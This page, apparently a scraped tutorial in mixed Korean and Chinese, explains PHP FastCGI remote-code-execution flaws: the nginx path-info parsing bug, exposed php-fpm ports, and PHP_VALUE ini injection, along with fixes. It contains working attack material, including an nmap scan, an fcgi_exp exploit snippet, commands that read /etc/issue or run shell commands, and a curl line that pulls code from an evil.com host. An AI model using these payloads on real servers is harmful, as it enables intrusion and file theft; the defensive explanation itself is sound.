백엔드 개발 PHP 튜토리얼 PHP FastCGI RCE Vul

PHP FastCGI RCE Vul

Aug 08, 2016 am 09:21 AM
ini nginx php

카탈로그1. Introduction 2. nginx文件类型错误解析漏洞 3. 针对直接公网开放的Fast-CGI攻击 4. 通过FCGI API动态修改php.ini中的配置实现RCE 1. 소개먼저 CGI 관련 개념을 정리해보자

1. CGI CGI是为了保证web server传递过来的数据是标准格式的,从本质上来说,它是一个协议标准。web server(例如nginx)只是内容的分发者。比如 1) 如果请求/index.html,那么web server会去文件系统中找到这个文件,发送给浏览器,这里分发的是静态数据 2) 如果请求的是/index.php,根据配置文件,nginx知道这个不是静态文件,需要去找PHP解析器来处理,那么他会把这个请求简单处理后交给PHP解析器 问题的核心在于Nginx需要传哪些数据给PHP解析器呢,例如 1) url 2) 查询字符串 3) POST数据 4) HTTP header .. 本质上CGI就是规定要传哪些数据、以什么样的格式传递给后方处理这个请求的协议,而对应的是,只要是遵循这个协议标准实现的程序,就可以称之为CGI程序 2. FastCGI 首先明确一点,FastCGI也同样是一个协议标准,FastCGI的设计目的是提高CGI程序的性能的 1) 首先,Fastcgi会先启一个master,解析配置文件,初始化执行环境 2) 然后再启动多个worker 3) 当请求过来时,master会传递给一个worker,然后立即可以接受下一个请求。这样就避免了重复的劳动,效率提高了 4) 而且当worker不够用时,master可以根据配置预先启动几个worker等着,同时如果发现空闲worker太多时,也会停掉一些,这样就提高了性能,也节约了资源 而对应的是,只要是遵循了这个协议标准实现的程序,就可以称之为FastCGI程序 3. PHP-CGI / PHP-FastCGI PHP的解释器是PHP-CGI,PHP-CGI只是个CGI程序,他自己本身只能解析请求,返回结果,不会进程管理 4. PHP-FPM PHP-FPM是PHP-CGI进程的管理器,用来管理PHP-CGI进程的,PHP-FPM的管理对象是PHP-CGI

0x1: PHP-FPMPHP-FPM 기능은 다음과 같습니다

1. 支持平滑停止/启动的高级进程管理功能 2. 可以工作于不同的 uid/gid/chroot 环境下,并监听不同的端口和使用不同的 php.ini 配置文件(可取代 safe_mode 的设置) 3. stdout、stderr日志记录 4. 在发生意外情况的时候能够重新启动并缓存被破坏的 opcode 5. 文件上传优化支持 6. "慢日志" - 记录脚本(不仅记录文件名,还记录 PHP backtrace 信息,可以使用 ptrace或者类似工具读取和分析远程进程的运行数据)运行所导致的异常缓慢 7. fastcgi_finish_request() - 特殊功能:用于在请求完成和刷新数据后,继续在后台执行耗时的工作(录入视频转换、统计处理等) 8. 动态/静态子进程产生 9. 基本 SAPI 运行状态信息(类似Apache的 mod_status) 10. 基于 php.ini 的配置文件

관련 링크:http://php.net/manual/zh/install.fpm.configuration.php http://php.net/manual/zh/install.fpm.php http://segmentfault.com/q/1010000000256516 2. nginx 파일 형식 오류 취약점 파싱0x1: 취약점 설명취약점 소개: nginx는 널리 사용되는 고성능 웹 서버 뿐만이 아닙니다. 종종 역방향 프록시로 사용되며 PHP 작동을 매우 잘 지원할 수도 있습니다. 그러나 더 심각한 보안 문제가 있습니다. 기본적으로 서버는 PHP에서 모든 유형의 파일을 잘못 구문 분석할 수 있으며 이로 인해 심각한 보안 문제가 발생하고 악의적인 공격자가 PHP를 지원하는 nginx 서버를 손상시킬 수 있습니다. 0x2: 취약점 분석nginx는 기본적으로 cgi 모드에서 실행되는 PHP를 지원하며, 구성 파일에 다음과 같이 구성되어 있습니다

location ~ .php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_params; }

구성 매개변수를 간략하게 설명하면 다음과 같습니다 1. location对请求进行选择的时候会使用URI环境变量进行选择 1) 其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定 2) 而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的 2. 这里就是产生问题的点。而为了较好的支持PATH_INFO的提取,在PHP的配置选项里存在cgi.fix_pathinfo选项,其目的是为了从SCRIPT_FILENAME里取出真正的脚本名 공격 시나리오를 가정해보자

1. 假设存在一个URL: http://localhost/test/test.jpg2. 我们以如下的方式去访问: http://localhost/test/test.jpg/test.php3. nginx将会得到一个URI: /test.jpg/test.php 4. 经过location指令,该请求将会交给后端的fastcgi处理,nginx为其设置环境变量SCRIPT_FILENAME,内容为: /scripts/test.jpg/test.php 5. 后端的fastcgi在接受到该选项时,会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理,一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用,所以该选项一般配置开启。php通过该选项之后将查找其中真正的脚本文件名字,查找的方式也是查看文件是否存在,这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为 1) SCRIPT_FILENAME: /scripts/test.jpg 2) PATH_INFO: test.php 6. 最后,以/scripts/test.jpg作为此次请求需要执行的脚本,而nginx会使用php解析器来处理这个jpg文件,攻击者就可以实现让nginx以php来解析任何类型的文件了

실제로 취약점의 본질은 fcgi와 웹 서버 간의 스크립트 경로 수준 매개 변수에 대한 서로 다른 이해로 인해 발생하는 문제입니다. 이는 서로 다른 시스템 간 컨텍스트로 인해 발생하는 일반적인 문제입니다. 요청에 대한 다양한 해석으로 인해 발생하는 취약점은 nginx0x3: POC nginx가 PHP를 지원하는 사이트를 방문하세요. , robots.txt와 같은 리소스 파일 뒤에 /test.php를 추가하면 이 임의의 리소스 파일이 PHP 파일로 실행됩니다. 0x4: 복구 계획(다시 시작해야 함)

1. 修改php.ini配置 cgi.fix_pathinfo = 02. nginx配置文件中添加 if ( $fastcgi_script_name ~ ..*/.*php ) { return403; } /* 考虑到MVC框架、用户自定义站点中有可能出现xxx/xx.php的情况,这个规则应该更加细粒度一点,例如*.jpg/.*php、*.txt/.*php */

중 또한 nginx는 다시 시작하지 않고도 구성 파일을 핫 리로드할 수 있습니다. service nginx reload //or /etc/init.d/nginx reload0x5: 복구 계획(다시 시작할 필요 없음) 전제는 대상 서버에도 공용 네트워크에 노출되는 FCGI API의 취약점이 있다는 것입니다. 핫픽스라는 복구 아이디어를 활용하고 FCGI 자체의 특성을 RCE로 활용하고 RCE를 사용하여 수정합니다. 취약한 기계에 대한 FCGI 취약성

1. 利用FCGI RCE漏洞修改目标服务器的nginx配置文件的配置 if ( $fastcgi_script_name ~ ..*/.*php ) { return403; } 2. 利用FCGI RCE漏洞动态修改php.ini的值 cgi.fix_pathinfo = 0

Relevant Link:http://www.80sec.com/nginx-securit.html http://php.net/manual/zh/ini.core.php 3. 针对直接公网开放的Fast-CGI攻击除了利用nginx文件解析漏洞之外,由于fcgi和webserver是通过网络进行沟通的,因此目前越来越多的集群将fcgi直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成webserver,让fcgi执行我们想执行的脚本内容。我们以php-fpm(php的fast-cgi的实现)作为例子说明直接将fastcgi暴露在公网所带来的安全风险0x1: 受影响范围扫描/* 1. php-fpm默认监听的端口是9000 2. 使用sV的原因是,因为9000端口可能还存在其他服务,这里需要借用nmap的指纹识别先帮我们鉴定一下 */ nmap -sV -p 9000 --open 173.xxx.xxx.1/240x2: fcgi劫持POC因为webserver为了提供fastcgi一些参数,每次转发请求的时候,会通过FASTCGI_PARAMS的包向fcgi进程进行传递。本来这些参数是用户不可控的,但是既然这个fcgi对外开放,那么也就说明我们可以通过设定这些参数,来让我们去做一些原本做不到的事情

./fcgi_exp read 173.xxx.xxx.1839000 /etc/issue /* 1. 在FASTCGI_PARAMS中,设定DOCUMENT_ROOT为"/"根目录 2. 设置SCRIPT_FILENAME为/etc/issue 3. 这样,只要我们有权限,我们就可以控制fcgi去读取这台机器上的任意文件了。实际上这并不是读取,而是用php去执行它 */

fcgi_exp.go

.. env := make(map[string]string) env["SCRIPT_FILENAME"] = url env["DOCUMENT_ROOT"] = "/" env["SERVER_SOFTWARE"] = "go / fcgiclient " env["REMOTE_ADDR"] = "127.0.0.1" env["SERVER_PROTOCOL"] = "HTTP/1.1"if len(reqParams) != 0{ env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) env["REQUEST_METHOD"] = "POST" env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off\nauto_prepend_file = php://input" } else{ env["REQUEST_METHOD"] = "GET" } ..

0x3: 攻击向量

1. 类似于一个普通的LFI漏洞,如果你知道这台机器上的log路径,或者任何你可以控制内容的文件路径,你就可以执行任意代码了 //将LFI漏洞转化为RCE的相关知识,请参阅另一篇文章: http://www.cnblogs.com/LittleHann/p/3665062.html2. 动态修改php.ini中的auto_prepend_file的值,去远程执行任意文件。将一个LFI的漏洞变成了RFI

0x4: 修复方案1. 不要把fcgi接口对公网暴露 2. 对fcgi会添加身份认证机制  4. 通过FCGI API动态修改php.ini中的配置实现RCE0x1: 攻击向量通用通过设置FASTCGI_PARAMS,我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置env["REQUEST_METHOD"] = "POST"env["PHP_VALUE"] = "auto_prepend_file = php://input"env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"利用执行php://input,然后在POST的内容中写入我们的php代码,这样就可以直接执行了./fcgi_exp system 127.0.0.19000 /tmp/a.php "id; uname -a"0x2: POC

1. 本地包含直接执行代码: curl -H "USER-AGENT: " http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n 2. 远程包含执行代码: curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt //-d参数: 作用是给php定义一个ini的值

0x2: 修复方案1. 不要把fcgi接口对公网暴露(重要) 2. 对fcgi会添加身份认证机制 3. 升级php cgiRelevant Link:http://zone.wooyun.org/content/1060 http://zone.wooyun.org/content/151 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 

以上就介绍了PHP FastCGI RCE Vul,包括了方面的内容,希望对PHP教程有兴趣的朋友有所帮助。

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

인기 기사

R.E.P.O. 에너지 결정과 그들이하는 일 (노란색 크리스탈)
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 최고의 그래픽 설정
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 아무도들을 수없는 경우 오디오를 수정하는 방법
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25 : Myrise에서 모든 것을 잠금 해제하는 방법
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

Ubuntu 및 Debian용 PHP 8.4 설치 및 업그레이드 가이드 Ubuntu 및 Debian용 PHP 8.4 설치 및 업그레이드 가이드 Dec 24, 2024 pm 04:42 PM

PHP 8.4는 상당한 양의 기능 중단 및 제거를 통해 몇 가지 새로운 기능, 보안 개선 및 성능 개선을 제공합니다. 이 가이드에서는 Ubuntu, Debian 또는 해당 파생 제품에서 PHP 8.4를 설치하거나 PHP 8.4로 업그레이드하는 방법을 설명합니다.

PHP 개발을 위해 Visual Studio Code(VS Code)를 설정하는 방법 PHP 개발을 위해 Visual Studio Code(VS Code)를 설정하는 방법 Dec 20, 2024 am 11:31 AM

VS Code라고도 알려진 Visual Studio Code는 모든 주요 운영 체제에서 사용할 수 있는 무료 소스 코드 편집기 또는 통합 개발 환경(IDE)입니다. 다양한 프로그래밍 언어에 대한 대규모 확장 모음을 통해 VS Code는

PHP에서 HTML/XML을 어떻게 구문 분석하고 처리합니까? PHP에서 HTML/XML을 어떻게 구문 분석하고 처리합니까? Feb 07, 2025 am 11:57 AM

이 튜토리얼은 PHP를 사용하여 XML 문서를 효율적으로 처리하는 방법을 보여줍니다. XML (Extensible Markup Language)은 인간의 가독성과 기계 구문 분석을 위해 설계된 다목적 텍스트 기반 마크 업 언어입니다. 일반적으로 데이터 저장 AN에 사용됩니다

문자열로 모음을 계산하는 PHP 프로그램 문자열로 모음을 계산하는 PHP 프로그램 Feb 07, 2025 pm 12:12 PM

문자열은 문자, 숫자 및 기호를 포함하여 일련의 문자입니다. 이 튜토리얼은 다른 방법을 사용하여 PHP의 주어진 문자열의 모음 수를 계산하는 방법을 배웁니다. 영어의 모음은 A, E, I, O, U이며 대문자 또는 소문자 일 수 있습니다. 모음이란 무엇입니까? 모음은 특정 발음을 나타내는 알파벳 문자입니다. 대문자와 소문자를 포함하여 영어에는 5 개의 모음이 있습니다. a, e, i, o, u 예 1 입력 : String = "Tutorialspoint" 출력 : 6 설명하다 문자열의 "Tutorialspoint"의 모음은 u, o, i, a, o, i입니다. 총 6 개의 위안이 있습니다

이전에 몰랐던 후회되는 PHP 함수 7가지 이전에 몰랐던 후회되는 PHP 함수 7가지 Nov 13, 2024 am 09:42 AM

숙련된 PHP 개발자라면 이미 그런 일을 해왔다는 느낌을 받을 것입니다. 귀하는 상당한 수의 애플리케이션을 개발하고, 수백만 줄의 코드를 디버깅하고, 여러 스크립트를 수정하여 작업을 수행했습니다.

JWT (JSON Web Tokens) 및 PHP API의 사용 사례를 설명하십시오. JWT (JSON Web Tokens) 및 PHP API의 사용 사례를 설명하십시오. Apr 05, 2025 am 12:04 AM

JWT는 주로 신분증 인증 및 정보 교환을 위해 당사자간에 정보를 안전하게 전송하는 데 사용되는 JSON을 기반으로 한 개방형 표준입니다. 1. JWT는 헤더, 페이로드 및 서명의 세 부분으로 구성됩니다. 2. JWT의 작업 원칙에는 세 가지 단계가 포함됩니다. JWT 생성, JWT 확인 및 Parsing Payload. 3. PHP에서 인증에 JWT를 사용하면 JWT를 생성하고 확인할 수 있으며 사용자 역할 및 권한 정보가 고급 사용에 포함될 수 있습니다. 4. 일반적인 오류에는 서명 검증 실패, 토큰 만료 및 대형 페이로드가 포함됩니다. 디버깅 기술에는 디버깅 도구 및 로깅 사용이 포함됩니다. 5. 성능 최적화 및 모범 사례에는 적절한 시그니처 알고리즘 사용, 타당성 기간 설정 합리적,

WordPress 사이트 파일 액세스가 제한됩니다. 도메인 이름을 통해 .txt 파일에 액세스 할 수없는 이유는 무엇입니까? WordPress 사이트 파일 액세스가 제한됩니다. 도메인 이름을 통해 .txt 파일에 액세스 할 수없는 이유는 무엇입니까? Apr 01, 2025 pm 03:00 PM

WordPress 사이트 파일 액세스가 제한됩니다. 최근 .txt 파일에 액세스 할 수없는 이유를 문제 해결하십시오. 미니 프로그램 비즈니스 도메인 이름을 구성 할 때 일부 사용자는 문제가 발생했습니다.

PHP에서 늦은 정적 결합을 설명하십시오 (정적 : :). PHP에서 늦은 정적 결합을 설명하십시오 (정적 : :). Apr 03, 2025 am 12:04 AM

정적 바인딩 (정적 : :)는 PHP에서 늦은 정적 바인딩 (LSB)을 구현하여 클래스를 정의하는 대신 정적 컨텍스트에서 호출 클래스를 참조 할 수 있습니다. 1) 구문 분석 프로세스는 런타임에 수행됩니다. 2) 상속 관계에서 통화 클래스를 찾아보십시오. 3) 성능 오버 헤드를 가져올 수 있습니다.

See all articles